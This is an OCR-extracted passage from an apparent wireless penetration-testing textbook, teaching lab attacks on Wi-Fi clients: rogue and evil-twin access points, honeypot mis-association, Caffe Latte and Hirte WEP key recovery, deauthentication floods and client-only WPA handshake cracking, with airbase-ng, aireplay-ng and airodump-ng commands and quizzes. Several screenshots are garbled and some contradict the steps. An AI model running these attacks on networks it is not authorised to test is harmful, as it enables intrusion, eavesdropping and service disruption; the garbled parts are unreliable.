Connection-specific DN Description Physical Address DHCP Enabled IPv4 IP Address IPv4 Subnet Mask IPv4 Default Gateway IPv4 DNS Server IPv4 WINS Server NetBIOS over Tcpip En Link-local IPv6 Address IPv6 Default Gateway IPv6 DNS Server	Intel(R) WiFi Link 5100 00-22-FB-35-FC-44 No 192.168.1.10 255.255.255.0 192.168.1.1 192.168.1.1 Yes fe80::693dfad9:1424:c019%11	Se

8. We can now access any host on the wired network from this wireless client using this rogue access point. Next, we will ping the gateway on the wired network:



- [114] —

What just happened?

We created a rogue access point and used it to bridge all the authorized network LAN traffic over the wireless network. As you can see, this is a really serious security threat as anyone can break into the wired network using this bridge.

Have a go hero – rogue access point challenge

Check whether you can create a rogue access point that uses WPA/WPA2-based encryption to look more legitimate on the wireless network.

Pop quiz – attacks on the WLAN infrastructure

Q1. What encryption does a rogue access point use in most cases?

- 1. None.
- 2. WEP.
- 3. WPA.
- 4. WPA2.

Q2. What is the advantage of having the same MAC address as the authorized access point in an evil twin?

- 1. It makes detecting the evil twin more difficult.
- 2. It forces the client to connect to it.
- 3. It increases the signal strength of the network.
- 4. None of the above.
- Q3. What do DoS attacks do?
 - 1. They bring down the overall throughput of the network.
 - 2. They do not target the clients.
 - 3. They can only be done if we know the network WEP/WPA/WPA2 credentials.
 - 4. All of the above.
- Q4. What do rogue access points do and how can they be created?
 - 1. They allow backdoor entry into the authorized network.
 - 2. They use WPA2 encryption only.
 - 3. They can be created as software-based access points or can be actual devices.
 - 4. Both 1 and 3.

Attacks on the WLAN Infrastructure

Summary

In this chapter, we explored different ways to compromise the security of the Wireless LAN infrastructure:

- Compromising default accounts and credentials on access points
- Denial of service attacks
- Evil twins and MAC Spoofing
- Rogue access points in the enterprise network

In the next chapter, we will take a look at different attacks on the wireless LAN client. Interestingly, most administrators feel that the client has no security problems to worry about. We will see how nothing could be furthers from the truth.

6 Attacking the Client

"Security is just as strong as the weakest link."

Famous Quote in Information Security Domain

Most penetration testers seem to give all their attention to the WLAN infrastructure and don't give the wireless client even a fraction of that. However, it is interesting to note that a hacker can gain access to the authorized network by compromising a wireless client as well.

In this chapter, we will shift our focus from the WLAN infrastructure to the wireless client. The client can be either a connected or isolated unassociated client. We will take a look at the various attacks that can be used to target the client.

We will cover the following topics:

- Honeypot and Mis-Association attacks
- The Caffe Latte attack
- Deauthentication and disassociation attacks
- The Hirte attack
- AP-less WPA-Personal cracking

Attacking the Client

Honeypot and Mis-Association attacks

Normally, when a wireless client such as a laptop is turned on, it will probe for networks it has previously connected to. These networks are stored in a list called the **Preferred Network List (PNL)** on Windows-based systems. Also, along with this list, the wireless client will display any networks available in its range.

A hacker may do one or more of the following things:

- Silently monitor the probes and bring up a fake access point with the same ESSID the client is searching for. This will cause the client to connect to the hacker machine, thinking it is the legitimate network.
- Create fake access points with the same ESSID as neighboring ones to persuade the user to connect to him. Such attacks are very easy to conduct in coffee shops and airports where a user might be looking to connect to a Wi-Fi connection.
- Use recorded information to learn about the victim's movements and habits, as we show in detail in a later chapter.

These attacks are called Honeypot attacks, because the hacker's access point is mis-associated with the legitimate one.

In the next exercise, we will carry out both these attacks in our lab.

Time for action – orchestrating a Mis-Association attack

Follow these instructions to get started:

1. In the previous labs, we used a client that had connected to the Wireless Lab access point. Let's switch on the client but not the actual Wireless Lab access point. Let's now run airodump-ng mon0 and check the output. You will very soon find the client to be in the not associated mode and probing for Wireless Lab and other SSIDs in its stored profile:

Chapter 6



2. To understand what is happening, let's run Wireshark and start sniffing on the mon0 interface. As expected, you might see a lot of packets that are not relevant to our analysis. Apply a Wireshark filter to only display Probe Request packets from the client MAC you are using:

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Applications Places 💣 ᠵ	Fri 26 Sen 22:27		(d)		oot
	2 (5)(N Bay 51034 from	(terrer) 1 10\1			
Capturing from mono [Wireshark 1.10.	.2 (SVIN Rev 51934 1101	/trunk=1.10)]			
File Edit View Go Capture Analyze Stat	tistics Telephony Tools	Internals Help			
● ◎ 🖉 ■ 🛃 🖴 🛅 🗶 🤆	9. 🕈 🕈 🍝 🏝		• • •	_ 0 >	<
Filter: 8:94:F6:62:1E:8E) && !(wlan.fc.type_subt	xype==0x08) ~ Express	ion Clear Appl	y Save		
No. Time Source	Destination	Protocol Leng	tl Info	×	
1534 128.1638350(Tp-LinkT 62:1e:8e	GemtekTe 45:36:61	802.11	48 Authentica		
1536 128.1646180(GemtekTe_45:36:61	Tp-LinkT_62:1e:8e	802.11	48 Authentica		
1538 128.1664200(Tp-LinkT_62:1e:8e	GemtekTe_45:36:61	802.11	48 Authentica		
1540 128.1666000(GemtekTe_45:36:61	Tp-LinkT_62:1e:8e	802.11	48 Authentica		
1542 128.1678990(Tp-LinkT_62:1e:8e	GemtekTe_45:36:61	802.11	48 Authentica		
1543 128.1687690(Tp-LinkT_62:le:8e	GemtekTe_45:36:61	802.11	48 Authentica		
1544 128.1696610(Tp-LinkT_62:1e:8e	GemtekTe_45:36:61	802.11	48 Authentica		
1545 128.1704120(Tp-LinkT_62:1e:8e	GemtekTe_45:36:61	802.11	48 Authentica		
 Frame 68: 122 bytes on wire (976 bits), Radiotap Header v0, Length 18 IEEE 802.11 Data, Flags:F. Logical-Link Control 	122 bytes captured (S	076 bits) on int	erface O		
0000 00 012 00 2e 48 00 00 16 76 05 0010 00 00 00 20 00 33 33 ff fb 61 97 0020 1e 8e 20 10 7a 45 36 61 94 0030 86 d4 60 00 00 00 3a ff fb 61 40 b2 aa aa 0030 86 d4 60 00 00 00 3a ff fb fb	9 c0 00 d6 01 H. 6 8 94 f6 62 3 a 03 00 00 00 zE6 0 00 00 00 zE6 2 00 00 00	v 33ab 5a @ 1) Ch			
♥ mon0: <live capture="" in="" progress=""> Fil Packet</live>	ets: 1591 · Displa Profil	e: Default			
🗵 root@kali: ~ 🛛 🖉 Capturing from m	on0		A 199	2	
īo grab input, press Ctrl+G			🔤 🔞 🕼 b	i 🛒 🗑 🔂 🌄 🕯	

- 3. In my case, the filter would be wlan.fc.type_subtype == 0x04 && wlan.sa == <my mac>. You should now see Probe Request packets only from the client for the previously identified SSIDs.
- **4.** Let's now start a fake access point for the network **Wireless Lab** on the hacker machine using the following command:

airbase-ng -c 3 -e "Wireless Lab" mon0



5. Within a minute or so, the client should connect to us automatically. This shows how easy it is to have un-associated clients:



6. Now we will try it in competition with another router. We will create a fake access point **Wireless Lab** in the presence of the legitimate one. Let's turn our access point on to ensure that **Wireless Lab** is available to the client. For this experiment, we have set the access point channel to 3. Let the client connect to the access point. We can verify this from airodump-ng, as shown in the following screenshot:

Chapter 6

	root@kali: ~ 💷	×
File Edit View Sear	ch Terminal Help	
CH 10][Elapsed:	32 s][2014-11-08 16:13	
BSSID	PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID	
E8:94:F6:62:1E:8E 9C:D3:6D:2A:7B:C0 00:22:B0:62:6D:08 00:0B:3B:7C:D0:8D	-611490954e. OPNWireless Lab-7913101154eWPA2 CCMPPSKeverythingwillprobablynotbeokay-86900154eWPA TKIPPSKUpstairs-9920654WPA2 CCMPPSKDownstairs	
BSSID	STATION PWR Rate Lost Frames Probe	
(not associated) E8:94:F6:62:1E:8E E8:94:F6:62:1E:8E 9C:D3:6D:2A:7B:C0	80:1F:02:8F:34:D5 0 0 - 1 0 8 4C:0F:6E:70:BD:CB -41 0 -54e 0 5 00:EE:BD:B3:62:DE -67 0 - 1 0 18 70:18:8B:08:47:B6 -35 0 - 1 0 1	

7. Now let's bring up our fake access point with the SSID Wireless Lab:



8. Notice that the client is still connected to Wireless Lab, the legitimate access point:

			root@kali	~		_ = ×
File Edit View Searc	h Terminal Tabs He	lp				
root@kali: ~			×	root@kali: ~		×
CH 6 1[Elansed:	2 mins][2014-11-0	98 16·15				
an o jį Etapsea.	2 11113][2011 11 0	,0 10.15				
BSSID	PWR Beacons #[)ata, #/	s CH MB	ENC CIPHER A	UTH ESSID	
80:1F:02:8F:34:D5	0 698	0	0 3 54	OPN	Wireless Lab	
E8:94:F6:62:1E:8E	-69 59	29	0 9 54e.	OPN	Wireless Lab	
9C:D3:6D:2A:7B:C0	-77 61	9	0 11 54e	WPA2 CCMP P	SK everythingwillprobablynotbeokay	
00:22:B0:62:6D:08	-88 54	Θ	0 1 54e	WPA TKIP P	PSK Upstairs	
00:0B:3B:7C:D0:8D	-100 24	2	0 6 54	WPA2 CCMP	PSK Downstairs	
BSSID	STATION	PWR	Rate los	Erames P	Probe	
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(not associated)	80:1F:02:8F:34:D5	Θ	0 - 1	0 30		
E8:94:F6:62:1E:8E	4C:0F:6E:70:BD:CB	-45	0 -54e	0 29 W	/ireless Lab	
E8:94:F6:62:1E:8E	00:EE:BD:B3:62:DE	-65	0e- 1	0 28		
9C:D3:6D:2A:7B:C0	70:18:8B:08:47:B6	-69	0 - 1	0 5		

Attacking the Client

9. We will now send broadcast deauthentication messages to the client on behalf of the legitimate access point to break their connection:



10. Assuming the signal strength of our fake access point **Wireless Lab** is stronger than the legitimate one to the client, it connects to our fake access point instead of the legitimate access point:



11. We can verify this by looking at the airodump-ng output to see the new association of the client with our fake access point:

CH 2][Elapsed:	4 s][2014-11-08 :	16:26			
BSSID	PWR Beacons #[Data,	#/s CH M	B ENC CIPHER	AUTH ESSID
E8:94:F6:62:1E:8E 9C:D3:6D:2A:7B:C0 00:22:B0:62:6D:08 00:0B:3B:7C:D0:8D	0 2 -81 2 -88 3 -101 2	24 15 13 0	$\begin{array}{cccc} 0 & 3 & 5 \\ 7 & 11 & 5 \\ 6 & 1 & 5 \\ 0 & 6 \end{array}$	4e.WEPWEP 4eWPA2CCMP 4eWPATKIP 54WPA2CCMP	Wireless Lab PSK everythingwillprobablynotbeokay PSK Upstairs PSK Downstairs
BSSID	STATION	PWR	Rate	Lost Frames	Probe
E8:94:F6:62:1E:8E	4C:0F:6E:70:BD:CB	-41	54e- 1	0 8	
E8:94:F6:62:1E:8E	20:10:7A:45:36:61	-83	1e- 1e	17 24	Wireless Lab
(not associated)	E4:98:D6:85:EE:09	-73	0 - 1	0 2	everythingwillprobablynotbeokay
9C:D3:6D:2A:7B:C0	70:18:8B:08:47:B6	-47	0 - 1	0 1	
9C:D3:6D:2A:7B:C0	00:EE:BD:B3:62:DE	-69	0 -12e	0 1	
00:22:B0:62:6D:08	5C:F6:DC:D4:61:14	-75	18e-18e	977 m ¹² 1	

What just happened?

We just created a Honeypot using the probed list from the client and also using the same ESSID as that of neighboring access points. In the first case, the client automatically connected to us, as it was searching for the network. In the latter case, as we were closer to the client than the real access point, our signal strength was higher, and the client connected to us.

Have a go hero – forcing a client to connect to the Honeypot

In the previous exercise, what do we do if the client does not automatically connect to us? We would have to send a deauthentication packet to break the legitimate client-access point connection and then, if our signal strength is higher, the client will connect to our spoofed access point. Try this out by connecting a client to a legitimate access point, and then forcing it to connect to your Honeypot.

The Caffe Latte attack

In the Honeypot attack, we noticed that clients will continuously probe for SSIDs they have connected to previously. If the client had connected to an access point using WEP, operating systems such as Windows cache and store the WEP key. The next time the client connects to the same access point, the Windows wireless configuration manager automatically uses the stored key.

The Caffe Latte attack was invented by Vivek, one of the authors of this book, and was demonstrated in Toorcon 9, San Diego, USA. The Caffe Latte attack is a WEP attack that allows a hacker to retrieve the WEP key of the authorized network, using just the client. The attack does not require the client to be anywhere close to the authorized WEP network. It can crack the WEP key using just the isolated client.

In the next exercise, we will retrieve the WEP key of a network from a client using the Caffe Latte attack.

Attacking the Client

Time for action – conducting a Caffe Latte attack

Follow these instructions to get started:

1. Let's first set up our legitimate access point with WEP for the network **Wireless Lab** with the ABCDEFABCDEF12 key in Hex:

TP-LINK	• •
Status	WPA/WPA2 - Personal(Recommended)
Quick Setup	Version: WPA2-PSK •
WPS	Encryption: AES •
Network	Wireless Password: 88455808
Wireless	(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.)
- Wireless Settings	Group Key Update Period: 0 Seconds
- Wireless Security	(Keep it default if you are not sure, minimum is 30, 0 means no update)
- Wireless MAC Filtering	WPA/WPA2 - Enterprise
- Wireless Advanced	Version: Automatic V
- Wireless Statistics	
DHCP	Enclyption. Automatic +
Forwarding	Radius Server IP:
Security	Radius Port: (1-65535, 0 stands for default port 1812)
Parental Control	Radius Password:
Access Control	Group Key Update Period: 0 (in second, minimum is 30, 0 means no update)
Advanced Routing	WEP
Bandwidth Control	Type: Automatic •
IP & MAC Binding	WEP Key Format: Heyadecimal
Dynamic DNS	Key Selected WEP Key Key Type
System Tools	Key 1: abcdefabcdefabcdef12 128bit
	Kev 2:
	Key 3:
	Key 4:
	We do not recommend using the WEP encruption if this device operates in 802 110 mode due to the fact that WEP is not supported by
	802.11n specification.
	Save
	Sare

2. Let's connect our client to it and verify that the connection is successful using airodump-ng, as shown in the following screenshot:

CH 2][Elapsed:	4 s][2014-11-08	16:26			
BSSID	PWR Beacons #	Data,	#/s CH MB	ENC CIPHER	AUTH ESSID
E8:94:F6:62:1E:8E 9C:D3:6D:2A:7B:C0 00:22:B0:62:6D:08 00:0B:3B:7C:D0:8D	0 2 -81 2 -88 3 -101 2	24 15 13 0	0 3 54e. 7 11 54e 6 1 54e 0 6 54	WEP WEP WPA2 CCMP WPA TKIP WPA2 CCMP	Wireless Lab PSK everythingwillprobablynotbeokay PSK Upstairs PSK Downstairs
BSSID	STATION	PWR	Rate Los	t Frames	Probe
E8:94:F6:62:1E:8E E8:94:F6:62:1E:8E (not associated) 9C:D3:6D:2A:7B:C0 9C:D3:6D:2A:7B:C0	4C:0F:6E:70:BD:CB 20:10:7A:45:36:61 E4:98:D6:85:EE:09 70:18:8B:08:47:B6 00:EE:BD:B3:62:DE	-41 -83 -73 -47 -69	54e- 1 1e- 1e 0 - 1 0 - 1 0 -12e	0 8 17 24 0 2 0 1 0 1	Wireless Lab everythingwillprobablynotbeokay

- **3.** Let's unplug the access point and ensure that the client is in the un-associated stage and searches for the WEP network **Wireless Lab**.
- **4.** Now we use airbase-ng to bring up an access point with **Wireless Lab** as the SSID, with the parameters as shown here:

│root@kali: ~ ×	root@kali: ~	root@kal
<pre>root@kali:~# airbase-ng -c 3 -a E8:94:</pre>	F6:62:1E:8E -e "Wireless Lab" -L -W 1	mon0
5. As soon as the client connects to this access point, airbase-ng starts the Caffe Latte attack, as shown here:

root@kalı	:⊶# airbase ng -c 3 -a E8:94:F6:62:1E:8E -e "Wireless Lab" -L -W 1 mc
16:31:52	Created tap interface at0
16:31:52	Trying to set MTU on at0 to 1500
16:31:53	Access Point with BSSID E8:94:F6:62:IE:8E started.
Error: Go	t channel -1, expected a value > 0.
16:32:03	Got 140 bytes keystream: 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	SKA from 00:EE:BD:B3:62:DE
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: "Wireless Lab"
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: "Wireless Lab"
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: "Wireless Lab"
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: "Wireless Lab"
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP/ to ESSID: "Wireless Lab"
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: "Wireless Lab"
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: "Wireless Lab"
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: Wireless Lab
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: "Wireless Lab"
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: Wireless Lab
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: Wireless Lab
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: Mireless Lab
16:32:03	Client 00.EE.BD.B3.62.DE associated (WEP) to ESSID: Wireless Lab
16:32:03	Client 00:EE:BD:B3:62:DE associated (WEP) to ESSID: Mireless Lab
16:32:03	(light 00:EE:BD:B3:62:DE associated (WEP) to ESSID: "Wireless Lab
16:32:03	Client 40.00.00.00.00.00 associated (MCP) to ESSID. Mireless Lab
16:32:42	(light (C:0E:6E:70:DD:CD associated (WEP) to ESSID: "Wireless Lab
16.32.42	(light (C:0E:6E:70:DD:CD associated (WEP) to ESSID: "Wireless Lab
16.32.42	(light 4C:0F:6E:70:DD:CD associated (WEP) to ESSID: "Wireless Lab
16.32.42	Starting Coffe Latte attack against 4C-0E-6E-70-00-CP at 100 pp
10.32.43	Starting Carre-Latte attack against 4C.0F.0E.70.0D.Cb at 100 pps.

6. We now start airodump-ng to collect the data packets from this access point only, as we did before in the WEP cracking scenario:



What just happened?

We were successful in retrieving the WEP key from just the wireless client without requiring an actual access point to be used or present in the vicinity. This is the power of the Caffe Latte attack.

In basic terms, a WEP access point doesn't need to prove to a client that it knows the WEP key in order to receive encrypted traffic. The first piece of traffic that will always be sent to a router upon connecting to a new network will be an ARP request to ask for an IP.

The attack works by bit flipping and replaying ARP packets sent by the wireless client post association with the fake access point created by us. These bit flipped ARP Request packets cause more ARP response packets to be sent by the wireless client.

Bit-flipping takes an encrypted value and alters it to create a different encrypted value. In this circumstance, we can take an encrypted ARP request and create an ARP response with a high degree of accuracy. Once we send back a valid ARP response, we can replay this value over and over again to generate the traffic we need to decrypt the WEP key.

Note that all these packets are encrypted using the WEP key stored on the client. Once we are able to gather a large number of these data packets, <code>aircrack-NG</code> is able to recover the WEP key easily.

Have a go hero – practise makes perfect!

Try changing the WEP key and repeat the attack. This is a difficult attack and requires some practice to orchestrate successfully. It would also be a good idea to use Wireshark and examine the traffic on the wireless network.

Deauthentication and disassociation attacks

We have seen deauthentication attacks in previous chapters as well in the context of the access point. In this chapter, we will explore this attack in the context of the client.

In the next lab, we will send deauthentication packets to just the client and break an established connection between the access point and the client.

Attacking the Client

Time for action – deauthenticating the client

Follow these instructions to get started:

1. Let's first bring our access point **Wireless Lab** online again. Let's keep it running on WEP to prove that, even with encryption enabled, it is possible to attack the access point and client connection. Let's verify that the access point is up using airodump-ng:

CH 8][Elapsed:	4 s]	[2014-11-0	8 16:40							
BSSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSID
9C:D3:6D:2A:7B:C0 E8:94:F6:62:1E:8E 00:22:B0:62:6D:08	-77 0 -87	2 103 5	0 5 0	0 0 0	11 3 1	54e 54e 54e	WPA2 WEP WPA	CCMP WEP TKIP	PSK PSK	everythingwillprobablynotb Wireless Lab Upstairs

2. Let's connect our client to this access point and verify it with airodump-ng:

CH 12][Elapsed:	1 min][2014-11-	08 16:	41						
BSSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSID
E8:94:F6:62:1E:8E	Θ	891	54	1	3	54e	WEP	WEP	0PN	Wireless Lab
9C:D3:6D:2A:7B:C0	-77	25	28	Θ	11	54e	WPA2	CCMP	PSK	everythingwillprobablynotb
00:22:B0:62:6D:08	-84	22	9	0	1	54e	WPA	TKIP	PSK	Upstairs
34:6B:D3:59:9C:BE	-96	2	Θ	Θ	11	54e	WPA2	CCMP	PSK	BTHub3-R9Q5
00:0B:3B:7C:D0:8D	-101	9	Θ	0	6	54	WPA:	2 CCMP	PSK	Downstairs
BSSID	STAT	ION	PWR	Ra	te	Los	st í	- rames	Prob	e
E8:94:F6:62:1E:8E	4C:0	F:6E:70:BD:0	CB -43	54	-54		54 🗖	-41-		
E8:94:F6:62:1E:8E	00:E	E:BD:B3:62:0)E -65	Θ	- 1		78	43	Wire	less Lab
(not associated)	80:1	F:02:8F:34:[)5 0	Θ	_1_	لملا	لاطها	լերի		
9C:D3:6D:2A:7B:C0	20:1	0:7A:45:36:6	51 -79	1	e- 1	е	Θ	13		
00:22:B0:62:6D:08	5C:F	6:DC:D4:61:1	4 -81	18	e-36	eter ya	ou o e con	ne, the g o		

3. We will now run aireplay-ng to target the access point connection:



4. The client gets disconnected and tries to reconnect to the access point. We can verify this using Wireshark just as we did earlier:

Filter: v	vlan.addr==00:	EE:8D:83:62:DE	~ Expre	ssion Clear	Apply	Save						
ło,	Time	Source	Destination	Protocol	Lengti	Info						
2435	13.332689000	00:ee:bd:b3:62:de	Broadcast	802.11	130	Probe	Request,	SN=3481,	FN=0,	Flags=	SSID=Broadcast	
2496	17.71542100	Tp-LinkT_62:1e:8e	00:ee:bd:b3:62:de	802.11	289	Probe	Response,	SN=367,	FN=0,	Flags=,	BI=100, SSID=Wireless	Lab
2498	17.725630000	Tp-LinkT_62:1e:8e	00:ee:bd:b3:62:de	802.11	289	Probe	Response.	SN=368,	FN=0,	Flags=,	BI=100, SSID=Wireless	Lab
2500	17.735637000	Tp-LinkT_62:1e:8e	00:ee:bd:b3:62:de	802.11	289	Probe	Response.	SN=369,	FN=0,	Flags=,	BI=100, SSID=Wireless	Lab
2502	17,745635000	Tp-LinkT_62:1e:8e	00:ee:bd:b3:62:de	802.11	289	Probe	Response,	, SN=370,	FN=0,	Flags=,	BI=100, SSID=Wireless	Lab
2504	17.760511000	00:ee:bd:b3:62:de	Broadcast	802.11	130	Probe	Request,	SN=3534,	FN=0,	Flags=,	SSID=Broadcast	
2506	17.765254000	Tp-LinkT_62:1e:8e	00:ee:bd:b3:62:de	802.11	289	Probe	Response,	SN=372,	FN=0,	Flags=,	BI=100, SSID=Wireless	Lab
2508	17.766752000	00:ee:bd:b3:62:de	Broadcast	802.11	130	Probe	Request,	SN=3535,	FN=0,	Flags=	SSID=Broadcast	
2509	17.769634000	Tp.LinkT 62:1e:8e	00:ee:bd:b3:62:de	802.11	289	Probe	Response	, SN=373,	FN=0,	Flags=	BI=100, SSID=Wireless	Lab

5. We have now seen that, even in the presence of WEP encryption, it is possible to deauthenticate a client and disconnect it. The same is valid even in the presence of WPA/WPA2. Let's now set our access point to WPA encryption and verify it:

TP-LINI	K
Status	
WPS	wireless Security
Network	Disable Security
- Wireless Settings	WPA/WPA2 - Personal(Recommended)
- Wireless MAC Filtering	Version: WPA-PSK •
- Wireless Advanced	Encryption: AES •
- Wireless Statistics	Wireless Password: abcdefgh
DHCP	(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.)
Forwarding	Group Key Update Period: 0 Seconds
Security	(Keep it default if you are not sure, minimum is 30, 0 means no update)

6. Let's connect our client to the access point and ensure that it is connected:

CH 10][Elapsed:	10 min	ns][2014-1	1-08 16	:51						
BSSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSID
E8:94:F6:62:1E:8E	-59	3636	330	Θ	З	54e.	WPA2	CCMP	PSK	Wireless Lab
9C:D3:6D:2A:7B:C0	-79	264	282	Θ	11	54e	WPA2	CCMP	PSK	everythingwillprobablynotb
00:22:B0:62:6D:08	-85	238	84	Θ	1	54e	WPA	TKIP	PSK	Upstairs
00:0B:3B:7C:D0:8D	-102	97	3	Θ	6	54	WPA:	2 CCMP	PSK	Downstairs
4A:6B:D3:59:9C:BF	-101	3	Θ	Θ	11	54e	0PN			BTWiFi-with-FON
34:6B:D3:59:9C:BE	-100	7	Θ	Θ	11	54e	WPA:	2 CCMP	PSK	BTHub3-R9Q5
BSSID	STAT:	ION	PWR	Rat	te	Los	t l	- rames	Prob	e
						7				
(not associated)	80:1	=:02:8F:34:D	5 0	Θ	- 1		Θ	110		
(not associated)	60:03	3:08:9D:18:D	2 -55	Θ		لملا		Lil	ever	ythingwillprobablybeokay
E8:94:F6:62:1E:8E	4C:0	=:6E:70:BD:C	B -43	54	-54	e	30	261	Wire	less Lab
E8:94:F6:62:1E:8E	00:EI	E:BD:B3:62:D	E -71	54	e- 1e	eter yo	u oecon	256	Etis	alat-WiFi,iJumeirah,Wireless
9C:D3:6D:2A:7B:C0	70:18	B:8B:08:47:B	6 -53	50	e- 00	е	Θ	44		
9C:D3:6D:2A:7B:C0	20:10	0:7A:45:36:6	1 -79	10	e- 10	e 1	42	171	Wire	less Lab
00:22:B0:62:6D:08	5C:F6	5:DC:D4:61:1	4 -75	186	e-180	е	Θ	72		

7. Let's now run aireplay-ng to disconnect the client from the access point:

root@kali: ~	× root@kali: ~	×						
E8:94:F6:62:1E:8Eignore-	negative-one mon0							
16:19:04 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1								
targeting								
a connected wireless client (-c <client's mac="">).</client's>								
16:19:06 Sending DeAuth to broadcast BSSID: [E8:94:F6:62:1E:8E]								
	root@kali:~ E8:94:F6:62:1E:8Eignore- SID: E8:94:F6:62:1E:8E) on c targeting t's mac>). - BSSID: [E8:94:F6:62:1E:8E	<pre>root@kali: ~</pre>						

What just happened?

We just learnt how to disconnect a wireless client selectively from an access point using deauthentication frames even in the presence of encryption schemas such as WEP/WPA/WPA2. This was done by sending a deauthentication packet to just the access point—client pair, instead of sending a broadcast deauthentication to the entire network.

Have a go hero – disassociation attack on the client

In the previous exercise, we used a deauthentication attack to break the connection. Try using a disassociation packet to break the established connection between a client and an access point.

The Hirte attack

We've already seen how to conduct the Caffe Latte attack. The Hirte attack extends the Caffe Latte attack using fragmentation techniques and allows almost any packet to be used.

More information on the Hirte attack is available on the Aircrack-ng website at http://www.aircrack-ng.org/doku.php?id=hirte.

We will now use <code>aircrack-ng</code> to conduct a Hirte attack on the same client.

Time for action – cracking WEP with the Hirte attack

Follow these instructions to get started:

1. Create a WEP access point exactly as in the Caffe Latte attack using the airbase-ng tool. The only additional option is the -N option instead of the -L option to launch the Hirte attack:

root@kali: ~	×	root@kali: ~		×	root@kal
<mark>root@kali:~#</mark> airbase-ng -	сЗ-аE8:94:Р	6:62:1E:8E -	e "Wireless Lab"	-L -W 1	mon0

2. Start airodump-ng in a separate window to capture packets for the Wireless Lab Honeypot:

root@kali:~# airodump-ng -c 3 --bssid 80:1F:02:8F:34:D5 --write Hirte mon0

3. Now, airodump-ng will start monitoring this network and storing the packets in the Hirte-01.cap file:

CH 3][Elapsed:	0 s][20	14-11-08	16:54][fixed	channel	mon0: -1	
BSSID	PWR RXQ	Beacons	#Data,	#/s	СН МВ	ENC CI	PHER AUTH E
80:1F:02:8F:34:D5	0 100	32	0	0	3 54	WEP WE	EP W
BSSID	STATION		PWR F	Rate	Lost	Frames	Probe

Attacking the Client

4. Once the roaming client connects to our Honeypot AP, the Hirte attack is automatically launched by airbase-ng:



5. We start aircrack-ng as in the case of the Caffe Latte attack and eventually, the key will be cracked.

What just happened?

We launched the Hirte attack against a WEP client that was isolated and away from the authorized network. We cracked the key exactly the same way as in the Caffe Latte attack case.

Have a go hero – practise, practise, practise

We recommend setting different WEP keys on the client and trying this exercise a couple of times to gain confidence. You may notice many times that you may have to reconnect the client to get it to work.

AP-less WPA-Personal cracking

In *Chapter 4*, we saw how to crack WPA/WPA2 PSK using aircrack-ng. The basic idea was to capture a four-way WPA handshake and then launch a dictionary attack.

The million dollar question is: Would it be possible to crack WPA-Personal with just the client? No access point!

Let's revisit the WPA cracking exercise to jog our memory:

Chapter 6



To crack WPA, we need the following four parameters from the four-way handshake— Authenticator Nounce, Supplicant Nounce, Authenticator MAC, and Supplicant MAC. Now, the interesting thing is that we do not need all of the four packets in the handshake to extract this information. We can get this information with four packets; packets 1 and 2 or just packets 2 and 3.

In order to crack WPA-PSK, we will bring up a WPA-PSK Honeypot and, when the client connects to us, only Message 1 and Message 2 will come through. As we do not know the passphrase, we cannot send Message 3. However, Message 1 and Message 2 contain all the information required to begin the key cracking process:



[133]

Time for action – AP-less WPA cracking

1. We will set up a WPA-PSK Honeypot with the ESSID **Wireless Lab**. The -z 2 option creates a WPA-PSK access point, which uses TKIP:

```
root@kali:~# airbase-ng -c 3 -e "Wireless Lab" -W 1 -z 2 mon0
16:56:44 Created tap interface at0
16:56:44 Trying to set MTU on at0 to 1500
16:56:44 Access Point with BSSID 80:1F:02:8F:34:D5 started.
Error: Got channel -1, expected a value > 0.
```

2. Let's also start airodump-ng to capture packets from this network:

oot@kali:~# airodump-ng -c 3 --bssid 80:1F:02:8F:34:D5 --write AP-less-WPA-cracking mon0

- **3.** Now when our roaming client connects to this access point, it starts the handshake but fails to complete it after Message 2, as discussed previously; however, the data required to crack the handshake has been captured.
- **4.** We run the airodump-ng capture file through aircrack-ng with the same dictionary file as before; eventually, the passphrase is cracked as before.

What just happened?

We were able to crack the WPA key with just the client. This was possible because, even with just the first two packets, we have all the information required to launch a dictionary attack on the handshake.

Have a go hero – AP-less WPA cracking

We recommend setting different WEP keys on the client and trying this exercise a couple of times to gain confidence. You may notice many times that you have to reconnect the client to get it to work.

Pop quiz – attacking the client

Q1. What encryption key can the Caffe Latte attack recover?

- 1. None
- 2. WEP
- 3. WPA
- 4. WPA2

- Q2. What would a Honeypot access point typically use?
 - 1. No Encryption, Open Authentication
 - 2. No Encryption, Shared Authentication
 - 3. WEP Encryption, Open Authentication
 - 4. None of the above
- Q3. Which one of the following is a DoS Attack?
 - 1. Mis-Association attacks
 - 2. Deauthentication attacks
